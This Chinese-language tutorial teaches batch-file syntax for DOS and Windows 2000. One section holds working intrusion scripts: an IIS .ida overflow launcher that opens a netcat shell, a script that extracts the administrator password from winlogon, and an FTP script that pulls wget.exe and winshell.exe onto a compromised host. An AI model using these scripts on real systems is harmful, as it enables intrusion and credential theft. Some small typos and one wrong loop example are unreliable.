bat文件語法和技巧(bat文件的編寫及使用)

     bat 文件語法 和技巧(bat 文件的編寫及使用)內容簡介:首先,批處理文件是一個文本文件,這個文件的每一行都是一條DOS命令(大部分時候就好象我們在DOS提示符下執行的命令行一樣),你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具 首先,批處理文件是一個文本文件,這個文件的每一行都是一條DOS命令(大部分時候就好象我們在DOS提示符下執行的命令行一樣),你可以使用dos 下的Edit或者 Windows的記事本(notepad)等任何文本文件編輯工具創建和修改批處理文件。

其次,批處理文件是一種簡單的程序,可以通過條件語句(if)和流程控制語句(goto)來控制命令運行的流程,在批處理中也可以使用循環語句(for)來循環執行一條命令。當然,批處理文件的編程能力與C語言等編程 語句比起來是十分有限的,也是十分不規範的。批處理的程序語句就是一條條的dos 命令(包括內部命令和外部命令),而批處理的能力主要取決於你所使用的命令。

第三,每個編寫好的批處理文件都相當於一個DOS的外部命令,你可以把它所在的目錄放到你的dos 搜索路徑(path)中來使得它可以在任意位置運行。一個良好的習慣是在硬盤上建立一個bat 或者batch目錄(例如C:/BATCH),然後將所有你編寫的批處理文件放到該目錄中,這樣只要在path中設置上c:/batch,你就可以在任意位置運行所有你編寫的批處理程序。

第四,在dos 和Win9x/Me系統下,C:盤根目錄下的AUTOEXEC.BAT 批處理文件是自動運行批處理文件,每次系統啓動時會自動運行該文件,你可以將系統每次啓動時都要運行的命令放入該文件中,例如設置搜索路徑,調入鼠標驅動和磁盤緩存,設置系統環境變量等。下面是一個運行於Windows 98下的autoexec.bat 的示例:
@ECHO OFF
PATH C:/WINDOWS;C:/WINDOWS/COMMAND;C:/UCDOS;C:/dos Tools;C:/SYSTOOLS;C:/WINTOOLS;C:/BATCH
LH SMARTDRV.EXE /X
LH dos KEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:/TEMP
SET TMP=D:/TEMP


批處理的作用
簡單的說,批處理的作用就是自動的連續執行多條命令。

這裏先講一個最簡單的應用:在啓動wps軟件時,每次都必須執行(>前面內容表示dos 提示符):
C:/>cd wps
C:/WPS>spdos
C:/WPS>py
C:/WPS>wbx
C:/WPS>wps
如果每次用WPS之前都這樣執行一遍,您是不是覺得很麻煩呢?

好了,用批處理,就可以實現將這些麻煩的操作簡單化,首先我們編寫一個runwps.bat 批處理文件,內容如下:
@echo off
c:
cd/wps
spdos
py
wbx
wps
cd/

以後,我們每次進入wps,只需要運行runwps這個批處理文件即可。

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批處理文件最常用的幾個命令,我們就從他們開始學起。
echo 表示顯示此命令後的字符
echo off 表示在此語句後所有運行的命令都不顯示命令行本身
@與echo off相象,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。
call 調用另一個批處理文件(如果不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將無法返回當前文件並執行當前文件的後續命令)。
pause 運行此句會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續
rem 表示此命令後的字符爲解釋行(註釋),不執行,只是給自己今後參考用的(相當於程序中的註釋)。

例1:用edit編輯a.bat 文件,輸入下列內容後存盤爲c:/a.bat ,執行該批處理文件後可實現:將根目錄中所有文件寫入 a.txt中,啓動UCdos ,進入WPS等功能。

  批處理文件的內容爲:         命令註釋:

    @echo off           不顯示後續命令行及當前命令行
    dir c:/*.* >a.txt       將c盤文件列表寫入a.txt
    call c:/ucdos/ucdos.bat     調用ucdos
    echo 你好            顯示"你好"
    pause              暫停,等待按鍵繼續
    rem 準備運行wps         註釋:準備運行wps
    cd ucdos            進入ucdos 目錄
    wps               運行wps  

批處理文件的參數

批處理文件還可以像C語言的函數一樣使用參數(相當於dos 命令的命令行參數),這需要用到一個參數表示符"%"。

%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數字符串用%1到%9順序表示。

例2:C:根目錄下有一批處理文件名爲f.bat ,內容爲:
@echo off
format %1

如果執行C:/>f a:
那麼在執行f.bat 時,%1就表示a:,這樣format %1就相當於format a:,於是上面的命令運行時實際執行的是format a:

例3:C:根目錄下一批處理文件名爲t.bat ,內容爲:
@echo off
type %1
type %2

那麼運行 C:/>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
於是上面的命令將順序地顯示 a.txt和b.txt文件的內容。


特殊命令

if goto choice for是批處理文件中比較高級的命令,如果這幾個你用得很熟練,你就是批處理文件的專家啦。

一、if 是條件語句,用來判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:

1、if [not] "參數" == "字符串" 待執行的命令

參數如果等於(not表示不等,下同)指定的字符串,則條件成立,運行命令,否則運行下一句。

例:if "%1"=="a" format a:

2、if [not] exist [路徑/]文件名 待執行的命令
如果有指定的文件,則條件成立,運行命令,否則運行下一句。

如: if exist c:/config.sys type c:/config.sys
表示如果存在c:/config.sys文件,則顯示它的內容。

3、if errorlevel <數字> 待執行的命令

很多dos 程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。

如if errorlevel 2 goto x2

二、goto 批處理文件運行到這裏將跳到goto所指定的標號(標號即label,標號用:後跟標準字符串來定義)處,goto語句一般與if配合使用,根據不同的條件來執行不同的命令組。

如:

goto end

:end
echo this is the end

標號用":字符串"來定義,標號所在行不被執行。

三、choice 使用此命令可以讓用戶輸入一個字符(用於選擇),從而根據用戶的選擇返回不同的errorlevel,然後於if errorlevel配合,根據用戶的選擇運行不同的命令。

注意:choice命令爲dos 或者Windows系統提供的外部命令,不同版本的choice命令語法 會稍有不同,請用choice /?查看用法。

choice的命令語法 (該語法 爲Windows 2003中choice命令的語法 ,其它版本的choice的命令語法 與此大同小異):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
  該工具允許用戶從選擇列表選擇一個項目並返回所選項目的索引。

參數列表:
 /C  choices    指定要創建的選項列表。默認列表是 "YN"。

 /N         在提示符中隱藏選項列表。提示前面的消息得到顯示,選項依舊處於啓用狀態。

 /CS         允許選擇分大小寫的選項。在默認情況下,這個工具是不分大小寫的。

 /T  timeout    做出默認選擇之前,暫停的秒數。可接受的值是從 0 到 9999。如果指定了 0,就不會有暫停,默認選項
           會得到選擇。

 /D  choice    在 nnnn 秒之後指定默認選項。字符必須在用 /C 選項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。

 /M  text     指定提示之前要顯示的消息。如果沒有指定,工具只顯示提示。

 /?         顯示幫助消息。

 注意:
 ERRORLEVEL 環境變量被設置爲從選擇集選擇的鍵索引。列出的第一個選擇返回 1,第二個選擇返回 2,等等。如果用戶按的鍵不是有效的選擇,該工具會發出警告響聲。如果該工具檢測到錯誤狀態,它會返回 255 的ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵,該工具會返回 0 的 ERRORLEVEL 值。在一個批程序中使用 ERRORLEVEL 參數時,將參數降序排列。

示例:
 CHOICE /?
 CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
 CHOICE /T 10 /C ync /CS /D y
 CHOICE /C ab /M "選項 1 請選擇 a,選項 2 請選擇 b。"
 CHOICE /C ab /N /M "選項 1 請選擇 a,選項 2 請選擇 b。"
 
如果我運行命令:CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。"
屏幕上會顯示:
確認請按 Y,否請按 N,或者取消請按 C。 [Y,N,C]?
 
 
例:test.bat 的內容如下(注意,用if errorlevel判斷返回值時,要按返回值從高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag

:defrag
c:/dos /defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批處理運行後,將顯示"defrag,mem,end[D,M,E]?" ,用戶可選擇d m e ,然後if語句根據用戶的選擇作出判斷,d表示執行標號爲defrag的程序段,m表示執行標號爲mem的程序段,e表示執行標號爲end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,批處理運行結束。

四、for 循環命令,只要條件符合,它將多次執行同一命令。

語法 :
對一組文件中的每一個文件執行某個特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable     指定一個單一字母可替換的參數。
(set)      指定一個或一組文件。可以使用通配符。
command     指定對每個文件執行的命令。
command-parameters 爲特定命令指定參數或命令行開關。

例如一個批處理文件中有一行:
for %%c in (*.bat *.txt) do type %%c

則該命令行會顯示當前目錄下所有以bat 和txt爲擴展名的文件的內容。


批處理示例

1. IF-EXIST

1)

首先用記事本在C:/建立一個test1.bat 批處理文件,文件內容如下:
@echo off
IF EXIST /AUTOEXEC.BAT TYPE /AUTOEXEC.BAT
IF NOT EXIST /AUTOEXEC.BAT ECHO /AUTOEXEC.BAT does not exist

然後運行它:
C:/>TEST1.BAT

如果C:/存在AUTOEXEC.BAT 文件,那麼它的內容就會被顯示出來,如果不存在,批處理就會提示你該文件不存在。

2)

接着再建立一個test2.bat 文件,內容如下:
@ECHO OFF
IF EXIST /%1 TYPE /%1
IF NOT EXIST /%1 ECHO /%1 does not exist

執行:
C:/>TEST2 AUTOEXEC.BAT
該命令運行結果同上。

說明:
(1) IF EXIST 是用來測試文件是否存在的,格式爲
IF EXIST [路徑+文件名] 命令
(2) test2.bat 文件中的%1是參數,dos 允許傳遞9個批參數信息給批處理文件,分別爲%1~%9(%0表示test2命令本身) ,這有點象編程 中的實參和形參的關係,%1是形參,AUTOEXEC.BAT 是實參。

3) 更進一步的,建立一個名爲TEST3.BAT 的文件,內容如下:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN

如果運行:
C:/>TEST3 A B C
屏幕上會顯示:
XIAO
TIAN
XIN

如果運行:
C:/>TEST3 A B
屏幕上會顯示
XIAO
TIAN

在這個命令執行過程中,dos 會將一個空字符串指定給參數%3。

2、IF-ERRORLEVEL

建立TEST4.BAT ,內容如下:
@ECHO OFF
XCOPY C:/AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷貝失敗
IF ERRORLEVEL 0 ECHO 成功拷貝文件

然後執行文件:
C:/>TEST4

如果文件拷貝成功,屏幕就會顯示"成功拷貝文件",否則就會顯示"文件拷貝失敗"。

IF ERRORLEVEL 是用來測試它的上一個dos 命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。因此下面的批處理文件是錯誤的:
@ECHO OFF
XCOPY C:/AUTOEXEC.BAT D:/
IF ERRORLEVEL 0 ECHO 成功拷貝文件
IF ERRORLEVEL 1 ECHO 未找到拷貝文件
IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作
IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤

無論拷貝是否成功,後面的:

未找到拷貝文件
用戶通過ctrl-c中止拷貝操作
預置錯誤阻止文件拷貝操作
拷貝過程中寫盤錯誤

都將顯示出來。

以下就是幾個常用命令的返回值及其代表的意義:
backup
0 備份成功
1 未找到備份文件
2 文件共享衝突阻止備份完成
3 用戶用ctrl-c中止備份
4 由於致命的錯誤使備份操作中止

diskcomp
0 盤比較相同
1 盤比較不同
2 用戶通過ctrl-c中止比較操作
3 由於致命的錯誤使比較操作中止
4 預置錯誤中止比較

diskcopy
0 盤拷貝操作成功
1 非致命盤讀/寫錯
2 用戶通過ctrl-c結束拷貝操作
3 因致命的處理錯誤使盤拷貝中止
4 預置錯誤阻止拷貝操作

format
0 格式化成功
3 用戶通過ctrl-c中止格式化處理
4 因致命的處理錯誤使格式化中止
5 在提示"proceed with format(y/n)?"下用戶鍵入n結束

xcopy
0 成功拷貝文件
1 未找到拷貝文件
2 用戶通過ctrl-c中止拷貝操作
4 預置錯誤阻止文件拷貝操作
5 拷貝過程中寫盤錯誤

3、IF STRING1 == STRING2

建立TEST5.BAT ,文件內容如下:
@echo off
IF "%1" == "A" formAT A:

執行:
C:/>TEST5 A
屏幕上就出現是否將A:盤格式化的內容。

注意:爲了防止參數爲空的情況,一般會將字符串用雙引號(或者其它符號,注意不能使用保留符號)括起來。
如:if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT ,文件內容如下:
@ECHO OFF
IF EXIST C:/AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:/AUTOEXEC.BAT D:/
:_DONE

注意:
(1) 標號前是ASCII字符的冒號":",冒號與標號之間不能有空格。
(2) 標號的命名規則與文件名的命名規則相同。
(3) dos 支持最長八位字符的標號,當無法區別兩個標號時,將跳轉至最近的一個標號。

6、FOR

建立C:/TEST7.BAT ,文件內容如下:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

運行:
C:>TEST7

執行以後,屏幕上會將C:盤根目錄下所有以BAT 、TXT、SYS爲擴展名的文內容顯示出來(不包括隱藏文件)。



win2000 命令行方式批處理BAT 文件技巧
 

文章結構
1. 所有內置命令的幫助信息
2. 環境變量的概念
3. 內置的特殊符號(實際使用中間注意避開)
4. 簡單批處理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

###########################
1. 所有內置命令的幫助信息
###########################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?

下面將所有上面的幫助輸出到一個文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt


#############################
2. 環境變量的概念
#############################

C:/Program Files>set
ALLUSERSPROFILE=C:/Documents and Settings/All Users
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=FIRST
ComSpec=C:/WINNT/system32/cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:/WINNT/system32/os2/dll;
Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM
PATHEXT=.COM;.EXE;.BAT ;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:/Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:/WINNT
TEMP=C:/WINNT/TEMP
TMP=C:/WINNT/TEMP
USERPROFILE=C:/Documents and Settings/Default User
windir=C:/WINNT


path: 表示可執行程序的搜索路徑. 我的建議是你把你的程序copy 到
%windir%/system32/. 這個目錄裏面. 一般就可以自動搜索到.
語法 : copy mychenxu.exe %windir%/system32/.
使用點(.) 便於一目瞭然
對環境變量的引用使用(英文模式,半角)雙引號
%windir% 變量
%%windir%% 二次變量引用.
我們常用的還有
%temp% 臨時文件目錄
%windir% 系統目錄
%errorlevel% 退出代碼

輸出文件到臨時文件目錄裏面.這樣便於當前目錄整潔.

對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file文件夾操作
C:/>dir p*
C:/ 的目錄
2000-09-02 11:47 2,164 Pdos .DEF
1999-01-03 00:47 <DIR> Program Files
1 個文件 2,164 字節
1 個目錄 1,505,997,824 可用字節

C:/>cd pro*
C:/Program Files>

C:/>
C:/>cd "Program Files"
C:/Program Files>


############################################
3. 內置的特殊符號(實際使用中間注意避開)
############################################
微軟裏面內置了下列字符不能夠在創建的文件名中間使用
con nul aux / / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要麼你使用^作爲前導字符表示.或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 創建一個文件
>> 追加到一個文件後面
@ 前綴字符.表示執行時本行在cmd裏面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字符. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的缺省分隔符號.
; 註釋,表示後面爲註釋
: 標號作用
| 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:/*.exe & dir d:/*.exe & dir e:/*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;
|| Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

常用語法 格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行註釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。


########################
4. 簡單批處理文件概念
########################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo 是追加
第三個echo將清空a.txt 重新創建 a.txt

netstat -n | find "3389 "
這個將要列出所有連接3389 的用戶的ip.

________________test.bat ______
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示註釋語句,本行顯示
@rem 不顯示註釋語句,本行不顯示
@if exist %windir%/system32/find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%/system32/fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
_____________________________

下面我們以具體的一個idahack程序就是ida遠程溢出 爲例子.應該是很簡單的.

___________________ida.bat _____
@rem ver 1.0
@if NOT exist %windir%/system32/idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%/system32/nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%/_tmp
@echo "prog exit code [%errorleve%] idahack.exe"
@type %temp%/_tmp
@find "good luck :)" %temp%/_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%/_tmp
@type %temp%/_tmp
@find "good luck :)" %temp%/_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat __END_______

下面我們再來第二個文件.就是得到administrator的口令.
大多數人說得不到.其實是自己的沒有輸入正確的信息.

___________________________fpass.bat ____________________________________________
@rem ver 1.0
@if NOT exist %windir%/system32/findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%/system32/pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%/_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%/_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%/_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%/_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%/_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat ___END___________________________________________________________

還有一個就是已經通過telnet登陸了一個遠程主機.怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w

 

 

 

 

for 命令是一種對一系列對象依次循環執行同一個或多個命令的在命令行或批處理中運行的命令,結合一些Windows 管理中的程序後,其處理功能強大、應用靈活方 便程度令人刮目相看。但是,其幫助信息也因此複雜往往令初學者望而生畏,這裏根據本人的學習理解,把其用法分解簡化,疏忽和錯誤也許在所難免。
基本格式
(這裏寫的是在命令行裏用的格式,如果是在批處理中,需要把其中%再多加個%形成%%):
for /參數 %變量 in (集) do 命令
(注:上面除中文的以外,其餘的是按它的格式要求書寫的,大小寫都行)
參數: FOR分四種參數 D L R F,並且有的參數還可附加另外的選項下面會分別介紹
變量:( 記住如果是在批處理中使用for命令時,變量前的%需改爲%%)這個變量名是由單個字母組成且區分大小寫(原 幫助是這麼說的,實際運用中用單個數字作爲變量名試過證明也可行),如%B和%b代表的是不同的變量。
FOR命令會在每次循環中,把in (集)中讀取到的值賦於這個變量,以便其後的命令中引用。
集: 由系列文件、字符串或由命令產生的內容形成的集合(當然可用通配符 * ?,還可引用環境變量),FOR命令是按一定順序和規律分次讀取集中內容,賦值給變量,並執行do後的命令,進行循環下一輪,直至集中內容讀取完畢,而括 號是格式必須的(in到後面括號之間要有空格)。
命令: 可以是任何合格的DOS命令或外部可被DOS調用的程序,且可採用括號把多條命令括起來,在一次循環中執行。
附註: 由於一些目錄或文件名可能會有空格,所以很多時候集裏和命令裏往往需要用英文引號括起來(但有時引號裏的內容可 能會被認爲是字符串)表示是一整體,下面開始的有些例中爲簡捷起見,忽略文件名或目錄名帶空格這種情況。
現在按參數分類舉例解釋其用法:
一、參數 /d
for /d %%變量 in (集) do 命令
/d 參數是指定僅對目錄而不是文件執行的for命令。
例1:
在命令行輸入(不是在批處理,之後不再解釋)
for /d %a in (c:/*.*) do echo %a
運行會把C盤根目錄下的全部目錄分次顯示出來,而不顯示文件名
看起來有點亂,如果把命令提示回顯關閉就清晰了:
for /d %a in (c:/*.*) do @echo %a

二、參數 /R
/R參數之後還可帶盤符及路徑
for /r 此處可以帶有路徑 %變量 in (集) do 命令
在/r 之後的那個路徑,指包含它之下的整個目錄樹(相當於DOS命令tree裏的範圍)中的所有目錄,如果僅爲一個英文句點 . ,是指當前路徑 下的目錄樹,如果省略了路徑則特指當前目錄,而之後的in (集)則相當於與前面每個目錄相配的文件集
這裏按in(集)中有無通配符分兩種情況
1) in(集) 中沒有通配符
指定的是單個文件或列舉的具體文件(多個文件名之間用分隔符分隔,如空格、逗號等)
例2
@echo of
for /r . %i in (abc.txt) do echo. > %i
echo on
注:這裏for /r 後的路徑僅有一個 . 而後面每個循環中echo. > %i相當於創建一個僅有一空行的文本文件,整體效果是在當前目錄下包括子錄,每個目錄中建一個abc.txt。
例3 (放入批處理中)
@echo off
rem 顯示d:盤中所有文件名爲file1和file2的列表
for /r d:/ %%h in (file1,file2) do if exist %%h echo %%h
pause
2) in(集)中含有通配符*或?
這種裏面的do命令將處理前面 /r指定的目錄系列裏每個含有in(集)中文件的項,而不去理會不含有相配文件的那些目錄
例4:
@echo off
rem 刪除C盤中所有*.chk的文件
for /r c:/ %%h in (*.chk) do del /q %%h
pause
注:del /q 表示用安靜模式刪除(不需確認)
三、參數 /L
for /L %%變量 in (起始值,每次增值,結束時的比較值) do 命令
(上面L也可用小寫,主要爲了視覺上不與數字1混淆而沒用小寫)
(起始值,每次增值,結束時的比較值)相當於一個等差數字序列,從“起始值”的數字開始,每次增加多少(也可設定爲負數)爲“每次增值”,並與“結束時的 比較值”比較,超出則退出for循環(也不執行本輪後面的do 命令)
例如 (1,1,3) 將產生序列 (1 2 3);(1,2,9)將產生序列(1 3 5 7 9);(5,-1,1) 將產生序列 (5 4 3 2 1);(1,3,18)將產生序列(1 7 10 13 16)
例5
@echo off
::在D盤建立aa1~ aa5五個文件夾
for /L %%i in (1,1,5) do md d:/aa %%i
pause

注:在行首,單個冒號: 接一名稱,是標號行,對應於批處理中go後指向的位置,而雙冒號::一般是用來作註釋 用,註釋在批處理中可以用rem加空格來表達,二者稍有不同,rem註釋在未關閉命令回顯時會在屏幕顯示出來,而:: 則 什麼情況下都不會顯示。

四、參數 /f
這個參數/f將會打開(集)裏的文件,使for命令能處理文本文件的讀取和添加刪除替換等編輯性的操作,可謂功能強大,因此也相對複雜 一些。
                                                 文件名-集     
for /f “選項” %變量 in ( “字符串”-集 ) do 命令
‘命令’-集
/f 後可以帶有幾種選項,不帶選項當然也是合格的格式,而帶有參數則必須以引號整體括起來,後面的集裏主要由三種形式形成的,最終在for循環中的每一輪中會 形成讀取一行字符串,來給指定的%變量、以及給由於選項中派生出附加變量賦值後,執行do後面的命令
下面以例子來具體說明和逐步理解各分項的用法
例6
假定d:/abc.txt內容如下:
姓名 性別 年齡 等-級
張三 男 36   A-1
李四 男 29   B-2

趙六 女 31   A-2

執行如下命令:
for /f %c in (d:/abc.txt) do @echo %c
則屏幕上顯示:
姓名
張三
李四
趙六

解釋:這是for /r 在“%變量”前缺省參數選項時的情況,循環中每輪會默認以空格爲分隔,在打開的文件中逐行給字符串分段,又因爲沒給增添附加變量(即僅一個變量%c)則僅 把第一段的字符賦給%c,再執行 do後的命令,然後進行循環的下一輪,並且默認忽略空行
改一下:
for /f “skip=1 tokens=1,4 delims= ” %c in (d:/abc.txt) do @echo %c %d
顯示爲:
張三 A-1
李四 B-2
趙六 A-2

解:
skip=1 表示文本開始忽略的行數爲1 ——忽略幾行
delims= 在一行中,用什麼單個符號(可以有多字符組合,之間也不能加空格,被理解爲多項單個字符,如要空格符須放最後)來分隔字符串作爲讀取賦值的單元(形成一 段),本例中等號後是空的表示僅用空格來分隔。——用什麼刀來切分
tokens=1,4 這個等號後的數字表示依次取第幾個被分隔的字符串段,來分別賦給%變量及順序附加的變量,本例取第1個段賦給%c,第4個段賦給c後的一個變量也就是賦 給%d,並且,可以寫成tokens=1,2,5-7 或tokens=1,2,3* 或 tokens=1,2,5,7 分別表示取第1,2,5,6,7(依次賦給%c, %d, %e, %,f, %g共5個變量)、1,2,3及3後的所有段(要賦給3個變量)、1,2,5,7(要賦給4個變量),tokens=後的數字號可以不按順序,但書寫的順 序與分配給變量的順序是對應的,這是賦值,至於之後do命令中用不用是另一回事。換句話 ­­——最多隻需取哪幾段
in (變量) 中的那個變量,代表起始的一個變量名,按tokens中定義的總個數來擴充附加變量名,如總個數爲3,則%c 就附加%d和%e ,要是%C就附加%D%E… 本例中tokens=1,4僅需兩個,起始的是in () 括號中的%c 則每行中第一段賦給%c,第4段賦給變量%d
以第二行(第一行被skip=1跳過了)爲例,在 “張三 男 36 A-1 ” 中(正好也是用的空格分隔)共被空格之刀切爲五段,只要第1、4,即張三賦給%c, A-1賦給%d,執行@echo %c %d然後下一輪…而空行照舊被省去了。

再稍改一下:

for /f “skip=1 tokens=4,1 delims=- “ %c in (d:/abc.txt) do @echo %c %d

則顯示爲:
A 張三
B 李四
A 趙六

例7
假定d:/aa.txt內容如下:

Volume in drive D is MYDA
Volume Serial Number is C35D-8998

Directory of D:tmp

09/25/2001 10:40 AM 11,235 yg0925.txt
11/12/2001 04:29 pM 795 buple.txt
04/11/2002 04:18 AM 2,043 vitn.txt
3File(s) 12,673 bytes
0 Dir(s) 5,020,200,655 bytes free

在命令行輸入:
for /f "skip=5 tokens=5" %a in (d:/aa.txt) do @echo %a
會顯示:
yg0925.txt
buple.txt
vitn.txt
free
本意想把文件裏列出的文件顯示出來(當然也可以換成對文件進行其他命令操作)
通過skip=5 忽略掉前5行,默認以空格分隔後tokens=5取每行第五段字符就順利地把文件名賦給變量%a,美中不足最後一行取了個不是文件名的(當然可用其他方法 處理這個多餘的只是for/f中沒提供忽略最後幾行的格式),而倒數第二行則無第五段。
顯然例中aa.txt裏的內容是某次執行dir命令後的內容。它可用類似命令:
dir > d:/aa.txt來建立
題外話 如果在dir中加入合適的參數/b,就可以迴避多餘的部分,還可加入/ad只顯示目錄,加入/a-d 只顯示文件等
那麼,我們完全可以直接書寫命令放入in後的(‘命令’-集)中
for /f "skip=5 tokens=5 " %a in ('dir') do @echo %a

效果一樣。
